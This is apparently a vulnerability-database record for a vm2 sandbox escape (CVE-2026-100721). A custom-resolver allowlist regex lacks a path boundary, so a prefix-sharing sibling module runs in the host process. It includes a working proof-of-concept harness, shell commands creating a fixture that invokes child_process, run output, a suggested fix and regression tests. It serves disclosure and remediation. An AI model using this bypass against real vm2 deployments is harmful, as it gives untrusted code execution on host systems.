{"schema":"threatline.record/2","record":{"id":"CVE-2026-100721","aliases":["GHSA-5h3f-q97h-ccvc"],"summary":"vm2: NodeVM custom resolution bypasses external path boundaries","details":"## Summary\n\nAt source revision `91034466bfb7f56b95fd48083ec6ca36d058f164` of vm2 3.11.8, an untrusted `NodeVM` guest can turn one allowlisted custom-resolved module into authorization for a separate file whose path merely shares the resolved path's string prefix. `LegacyResolver.customResolve` stores the resolved path in `this.externals` as `^<path>` without an end or separator boundary; a later absolute require of a sibling such as `foo2/index.js` therefore passes the external check and is loaded through `hostRequire` when the configured context is `host`. The decisive attack loaded `foo` as `FOO_OK` and then executed the prefix-sharing sibling, which returned `PREFIX_PWN` after invoking `child_process`; an otherwise identical control denied the sibling with `ENOTFOUND`.\n\n## Technical Details\n\nThe affected configuration is a documented `NodeVM` use in which the embedder sets `require.external` to `{modules: ['foo'], transitive: false}`, supplies a custom resolver that returns the `foo` directory, sets a root directory, and uses `context: 'host'`. The guest controls the `require` specifiers and requests the allowlisted bare name before requesting the absolute path of the prefix-sharing sibling. The test entry point is deliberately outside the configured root so ordinary `node_modules` lookup misses and the custom resolver is consulted.\n\nThe source-to-sink path is:\n\n- `NodeVM.run` executes guest code and creates the module-specific `require` function at `lib/nodevm.js:516-575`.\n- `DefaultResolver.resolveFull` searches normal locations and then dispatches a miss to `customResolve` at `lib/resolver.js:227-316`.\n- `LegacyResolver.customResolve` checks the bare specifier against the external cache, calls the embedder's resolver, and appends an authorization regular expression at `lib/resolver-compat.js:266-291`.\n- `isPathAllowedForModule` falls back to `this.externals.some(regex => regex.test(path))` at `lib/resolver-compat.js:193-215`. The dynamically appended expression `^/…/node_modules/foo` also matches `/…/node_modules/foo2/index.js` because no path separator or end-of-string condition is required.\n- `loadJS` uses `this.hostRequire(filename)` for a host-context file and only wraps the returned exports with `vm.readonly` at `lib/resolver-compat.js:255-263`. Top-level effects of the required file therefore occur in the host process before the exports are wrapped.\n\nThe relevant current code has the same flaw for both supported custom-resolver return shapes:\n\n```js\nif (typeof resolved === 'string') {\n\tthis.externals.push(new RegExp('^' + escapeRegExp(resolved)));\n\treturn this.loadAsFileOrDirectory(resolved, extList);\n}\nconst {module=x, path: resolvedPath} = resolved;\nthis.externals.push(new RegExp('^' + escapeRegExp(resolvedPath)));\nreturn this.loadNodeModules(module, [resolvedPath], extList);\n```\n\nThe existing anchored bare-specifier matcher and the separator-aware `mod.path` check address different authorization states. They do not constrain the new `this.externals` entries created after custom resolution. The violated invariant is that a resolved allowlisted path may authorize only that exact path and its descendants after a path separator, never a sibling selected by raw string prefix.\n\n## PoV\n\nThe minimal guest operation is to load the configured bare name and then request the separate absolute sibling path:\n\n```js\nconst foo = require('foo');\nmodule.exports = {\n\tfoo,\n\tsibling: require('/tmp/vm2-prefix-case/node_modules/foo2/index.js')\n};\n```\n\nThe corresponding embedder configuration is:\n\n```js\nconst vm = new NodeVM({\n\trequire: {\n\t\texternal: {modules: ['foo'], transitive: false},\n\t\troot: '/tmp/vm2-prefix-case',\n\t\tcontext: 'host',\n\t\tresolve(name) {\n\t\t\treturn name === 'foo'\n\t\t\t\t? '/tmp/vm2-prefix-case/node_modules/foo'\n\t\t\t\t: undefined;\n\t\t}\n\t}\n});\n```\n\nThe sibling is not itself allowlisted. Its successful load is the authorization violation; the `child_process` call in its top-level code demonstrates that the file ran in the host context rather than as guest-only code.\n\n## PoC\n\nFrom a checkout of the repository, use the pinned revision and install its declared dependencies without lifecycle scripts:\n\n```sh\ngit checkout 91034466bfb7f56b95fd48083ec6ca36d058f164\nnpm ci --ignore-scripts\n```\n\nSave the following harness as `/tmp/custom-resolve-prefix.js`:\n\n```js\n'use strict';\n\nconst path = require('path');\nconst { NodeVM } = require(process.cwd() + '/lib/main.js');\n\nconst [, , mode, fooIndexPath, siblingPath] = process.argv;\nconst fooDir = path.dirname(fooIndexPath);\nconst root = path.resolve(fooDir, '../..');\nconst entry = path.join(path.dirname(root), 'entry.js');\nlet customCalls = 0;\n\nfunction runGuest(code) {\n\treturn new NodeVM({\n\t\trequire: {\n\t\t\texternal: {modules: ['foo'], transitive: false},\n\t\t\troot,\n\t\t\tcontext: 'host',\n\t\t\tresolve(moduleName) {\n\t\t\t\tif (moduleName === 'foo') {\n\t\t\t\t\tcustomCalls++;\n\t\t\t\t\treturn fooDir;\n\t\t\t\t}\n\t\t\t\treturn undefined;\n\t\t\t}\n\t\t}\n\t}).run(code, entry);\n}\n\nconst record = {mode, result: 'invalid'};\n\ntry {\n\tif (mode === 'candidate') {\n\t\tconst output = runGuest(`\n\t\t\tconst foo = require('foo');\n\t\t\tmodule.exports = {foo, sibling: require(${JSON.stringify(siblingPath)})};\n\t\t`);\n\t\trecord.output = output;\n\t\tif (output && output.foo === 'FOO_OK' && output.sibling === 'PREFIX_PWN') {\n\t\t\trecord.result = 'violation';\n\t\t\trecord.signal = 'prefix-sharing sibling executed in host context after custom resolution: PREFIX_PWN';\n\t\t} else {\n\t\t\trecord.result = 'pass';\n\t\t}\n\t} else if (mode === 'control') {\n\t\ttry {\n\t\t\trunGuest(`module.exports = require(${JSON.stringify(siblingPath)});`);\n\t\t\trecord.result = 'violation';\n\t\t\trecord.signal = 'prefix-sharing sibling loaded before custom resolution';\n\t\t} catch (error) {\n\t\t\trecord.result = 'pass';\n\t\t\trecord.denial = String(error && (error.code || error.message) || error);\n\t\t}\n\t} else {\n\t\trecord.error = 'unknown mode';\n\t}\n} catch (error) {\n\trecord.result = 'invalid';\n\trecord.error = String(error && (error.stack || error.message) || error);\n}\n\nrecord.customCalls = customCalls;\nconsole.log(JSON.stringify(record));\n```\n\nCreate the two neutral fixture modules. The first is the configured module; the second is a separate sibling whose name shares the first module's path prefix:\n\n```sh\nmkdir -p /tmp/vm2-prefix-case/node_modules/foo /tmp/vm2-prefix-case/node_modules/foo2\ncat > /tmp/vm2-prefix-case/node_modules/foo/index.js <<'EOF'\n'use strict';\nmodule.exports = 'FOO_OK';\nEOF\ncat > /tmp/vm2-prefix-case/node_modules/foo2/index.js <<'EOF'\n'use strict';\nmodule.exports = require('child_process').execFileSync(\n\tprocess.execPath,\n\t['-e', \"process.stdout.write('PREFIX_PWN')\"]\n).toString();\nEOF\n```\n\nRun the attack and then the negative control from the repository checkout:\n\n```sh\nnode /tmp/custom-resolve-prefix.js candidate \\\n  /tmp/vm2-prefix-case/node_modules/foo/index.js \\\n  /tmp/vm2-prefix-case/node_modules/foo2/index.js\nnode /tmp/custom-resolve-prefix.js control \\\n  /tmp/vm2-prefix-case/node_modules/foo/index.js \\\n  /tmp/vm2-prefix-case/node_modules/foo2/index.js\n```\n\nThe decisive results were:\n\n```text\n{\"mode\":\"candidate\",\"result\":\"violation\",\"output\":{\"foo\":\"FOO_OK\",\"sibling\":\"PREFIX_PWN\"},\"signal\":\"prefix-sharing sibling executed in host context after custom resolution: PREFIX_PWN\",\"customCalls\":1}\n{\"mode\":\"control\",\"result\":\"pass\",\"denial\":\"ENOTFOUND\",\"customCalls\":0}\n```\n\nBoth executions completed successfully with return code 0 in an offline `node:bookworm` runtime. The attack reached `LegacyResolver.customResolve` once, while the control reached it zero times. The `foo2` fixture can use `child_process` only because the target loaded it through the host-context path; the same absolute request without the preceding custom resolution was denied.\n\n## Impact\n\nThis is a sandbox authorization bypass crossing from untrusted guest JavaScript into the host process. A service that runs attacker-controlled JavaScript in a `NodeVM` with a custom external resolver can be induced to load an existing prefix-sharing host file that was not allowlisted, despite `transitive: false`. The demonstrated sibling executes `child_process` at top level and returns a host-generated marker, showing host code execution rather than a guest-only exception or denial of service. The exploit requires the application to use this custom-resolver/host-context configuration and for a readable prefix-sharing file to exist; the tested claim is limited to that deployment shape and does not assert that every vm2 installation is affected. This is CWE-863 (Incorrect Authorization), with CVSS 3.1 `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H`: after the stated deployment preconditions, the guest needs only low-complexity module requests, no additional host privilege or user interaction, and the impact crosses into host confidentiality, integrity, and availability.\n\n## Suggested Fix\n\nMake every custom-resolver-derived authorization entry path-boundary aware. The smallest correction is to require either the exact resolved path or a path separator followed by a descendant, for both the string result and the `{path: resolvedPath}` result:\n\n```js\nconst externalPath = value => new RegExp(\n\t'^' + escapeRegExp(value) + '(?:[\\\\/].*)?$'\n);\n```\n\nUse `externalPath(resolved)` at the string-return branch and `externalPath(resolvedPath)` at the object-return branch. A path-aware canonical comparison shared with `isPathAllowedForModule` is preferable if the resolver filesystem supports it, because it can consistently handle separators and normalization. The fix must not rely only on the bare-specifier matcher: the bypass occurs after that matcher has already accepted `foo` and after `customResolve` has appended a new regex.\n\nAdd regression coverage that configures `external: {modules: ['foo'], transitive: false}`, a custom resolver returning `foo`, and `context: 'host'`; it should require `foo` and then assert that the absolute `foo2/index.js` sibling is denied and cannot emit a host marker. Keep a negative-control case that requests the sibling without first resolving `foo`, and add positive cases for the exact resolved file and legitimate descendants. Exercise both custom-resolver return forms so neither `this.externals.push` branch can reintroduce the prefix authorization.\n\n## Affected Package/Versions\n\n- Package: `vm2` in the npm ecosystem.\n- Tested package version: `3.11.8`, at source revision `91034466bfb7f56b95fd48083ec6ca36d058f164`.\n- Affected version range tested: `pinned-revision-91034466bfb7f56b95fd48083ec6ca36d058f164`.\n- Current head: the pinned revision is vulnerable, as shown by the attack/control pair above.\n- Patched versions: none identified by the tested evidence.\n- Only the pinned revision was tested; no broader historical range or fixed revision or release is claimed.\n\n## Advisory History\n\nThe closest public match is [GHSA-7q3f-wx44-378m](https://github.com/patriksimek/vm2/security/advisories/GHSA-7q3f-wx44-378m), titled “External module allowlist uses a raw prefix test, so a prefix-sharing sibling package is treated as allowlisted.” That advisory concerns the `mod.path.startsWith(path)` logic in `isPathAllowedForModule` for a relative require from an allowlisted package. Its public fix is [commit `6ac3916da84e060c403e407b6b6318fcc66b0e72`](https://github.com/patriksimek/vm2/commit/6ac3916da84e060c403e407b6b6318fcc66b0e72), which adds a path-boundary check to `isPathAllowedForModule` while leaving the filename-side `this.externals` fallback unchanged. A related public resolver fix is [commit `ab4ee7d803e8c80155e9eb3672226bddbca4aa9c`](https://github.com/patriksimek/vm2/commit/ab4ee7d803e8c80155e9eb3672226bddbca4aa9c), which rejects `..` traversal in allowlisted subpaths and explicitly leaves the filename-side `this.externals` matcher untouched. This finding has a separate fix surface: the current `customResolve` function appends new raw-prefix regular expressions to `this.externals` at both custom-resolver return branches, which those public fixes do not describe or patch.\n\n[GHSA-c48m-32m9-vx93](https://github.com/patriksimek/vm2/security/advisories/GHSA-c48m-32m9-vx93), “vm2 Custom Module Resolver Can Bypass the External Package Allowlist by Loading a Colliding Host Package,” is the closest custom-resolver advisory. It fixes the specifier-side `externalCache` matcher and rejects `..` segments before the custom resolver is consulted. This finding reaches a different, residual branch after successful custom resolution: `customResolve` appends a filename-side raw-prefix regular expression to `this.externals`, allowing a prefix-sharing absolute sibling. Neither GHSA-c48m nor GHSA-7q3f patches that branch. Repository issue, pull-request, and commit history contains no matching fix for it. No patched version is claimed because only the pinned revision was tested.","categories":["Libraries & packages"],"product":"vm2","vendor":"patriksimek","ecosystem":"npm","affected_ranges":[{"source":"GitHub Advisory Database","source_url":"https://github.com/advisories/GHSA-5h3f-q97h-ccvc","source_modified_at":"2026-10-05T23:24:30Z","fetched_at":"2026-10-23T18:42:43.628194Z","package":{"ecosystem":"npm","name":"vm2"},"range":"<= 3.12.1"},{"source":"CVE List","source_url":"https://www.cve.org/CVERecord?id=CVE-2026-100721","source_modified_at":"2026-09-28T16:51:10.611Z","fetched_at":"2026-10-23T18:45:31.882637Z","product":"vm2","vendor":"patriksimek","versions":[{"lessThan":"3.12.2","status":"affected","version":"0","versionType":"semver"},{"status":"unaffected","version":"3.12.2","versionType":"semver"}],"defaultStatus":"unaffected"},{"source":"OSV","source_url":"https://osv.dev/vulnerability/GHSA-5h3f-q97h-ccvc","source_modified_at":"2026-10-05T23:30:04.633530679Z","fetched_at":"2026-10-23T18:48:36.087640Z","package":{"name":"vm2","ecosystem":"npm","purl":"pkg:npm/vm2"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"3.12.2"}]}],"versions":[]}],"fixed_versions":[{"source":"GitHub Advisory Database","source_url":"https://github.com/advisories/GHSA-5h3f-q97h-ccvc","source_modified_at":"2026-10-05T23:24:30Z","fetched_at":"2026-10-23T18:42:43.628194Z","package":{"ecosystem":"npm","name":"vm2"},"version":"3.12.2"},{"source":"CVE List","source_url":"https://www.cve.org/CVERecord?id=CVE-2026-100721","source_modified_at":"2026-09-28T16:51:10.611Z","fetched_at":"2026-10-23T18:45:31.882637Z","package":{"name":"vm2","ecosystem":null},"version":"3.12.2","basis":"first unaffected version stated in the CVE record"},{"source":"OSV","source_url":"https://osv.dev/vulnerability/GHSA-5h3f-q97h-ccvc","source_modified_at":"2026-10-05T23:30:04.633530679Z","fetched_at":"2026-10-23T18:48:36.087640Z","package":{"name":"vm2","ecosystem":"npm","purl":"pkg:npm/vm2"},"version":"3.12.2"}],"cvss":9.5,"severity":"Critical","kev":{"listed":false},"epss":{"probability":0.004,"percentile":0.33094,"score_date":"2026-10-23"},"published_at":"2026-09-27T01:28:28.596Z","modified_at":"2026-10-05T23:30:04.633530679Z","provenance":[{"source":"GitHub Advisory Database","url":"https://github.com/advisories/GHSA-5h3f-q97h-ccvc","fetched_at":"2026-10-23T18:42:43.628194Z","source_modified_at":"2026-10-05T23:24:30Z"},{"source":"CVE List","url":"https://www.cve.org/CVERecord?id=CVE-2026-100721","fetched_at":"2026-10-23T18:45:31.882637Z","source_modified_at":"2026-09-28T16:51:10.611Z"},{"source":"OSV","url":"https://osv.dev/vulnerability/GHSA-5h3f-q97h-ccvc","fetched_at":"2026-10-23T18:48:36.087640Z","source_modified_at":"2026-10-05T23:30:04.633530679Z"},{"source":"EPSS","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-100721","fetched_at":"2026-10-23T18:42:43.628194Z","source_modified_at":"2026-10-23"}],"sources":["GitHub Advisory Database","CVE List","OSV","EPSS"],"references":[{"source":"CVE List","url":"https://github.com/patriksimek/vm2/security/advisories/GHSA-5h3f-q97h-ccvc","tags":["vendor-advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-100721","source":"GitHub Advisory Database"},{"source":"CVE List","url":"https://github.com/patriksimek/vm2/commit/6ac3916da84e060c403e407b6b6318fcc66b0e72","tags":["patch"]},{"source":"CVE List","url":"https://github.com/patriksimek/vm2/commit/91034466bfb7f56b95fd48083ec6ca36d058f164","tags":["patch"]},{"source":"CVE List","url":"https://github.com/patriksimek/vm2/commit/ab4ee7d803e8c80155e9eb3672226bddbca4aa9c","tags":["patch"]},{"url":"https://github.com/patriksimek/vm2/commit/fb4977f6211da6cadffdf1f3a2017a826a21c51f","source":"GitHub Advisory Database"},{"url":"https://github.com/patriksimek/vm2/releases/tag/v3.12.2","source":"GitHub Advisory Database"},{"source":"CVE List","url":"https://www.vulncheck.com/advisories/vm2-before-3.12.2-authorization-bypass-via-custom-resolver","tags":["third-party-advisory"]},{"url":"https://github.com/advisories/GHSA-5h3f-q97h-ccvc","source":"GitHub Advisory Database"}],"locations":[],"motoko_assessment":{"status":"requires_architecture_review","automatic_remediation":false},"cve_state":"PUBLISHED","ssvc":{"exploitation":"poc","automatable":"no","technical_impact":"total","assessed_at":"2026-09-28T16:50:50.404410Z"},"classification":{"method":"product-first software-layer rules","rules_version":"2.1","matched_on":"ecosystem","confidence":"heuristic","reviewed":false},"change_timestamp":"2026-10-05T23:30:04.633530679Z","content_hash":"13ba21df5290443198c1a62e9ff46ebaf43008bf831c092db817b4d361cec9bc"}}
